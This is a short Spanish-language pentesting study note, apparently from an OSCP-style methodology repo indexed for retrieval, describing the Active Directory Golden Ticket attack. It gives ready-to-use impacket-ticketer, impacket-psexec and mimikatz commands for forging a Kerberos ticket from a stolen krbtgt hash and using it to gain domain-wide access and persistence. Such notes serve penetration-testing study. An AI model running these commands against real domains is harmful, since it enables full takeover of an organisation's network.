7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
22 lines
816 B
Markdown
22 lines
816 B
Markdown
# Golden Ticket
|
|
|
|
> Con el hash de **krbtgt** forjas tu propio TGT → eres **cualquiera** (incluso un Domain Admin inexistente), para siempre. Cima de Active Directory.
|
|
|
|
## Requisito
|
|
Hash NTLM de la cuenta **krbtgt** → se obtiene con DCSync o secretsdump sobre el DC.
|
|
|
|
## Forjar
|
|
```bash
|
|
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
|
|
export KRB5CCNAME=Administrator.ccache
|
|
impacket-psexec -k -no-pass corp.local/Administrator@dc.corp.local
|
|
```
|
|
```
|
|
# mimikatz equivalente:
|
|
kerberos::golden /user:Administrator /domain:corp.local /sid:S-... /krbtgt:HASH /ptt
|
|
```
|
|
|
|
## Concepto
|
|
krbtgt firma **todos** los TGT (Kerberos). Si controlas su hash, firmas tickets válidos a voluntad → persistencia total.
|
|
|
|
Relacionado: Silver Ticket · DCSync · Pass-the-Hash · OSCP MOC
|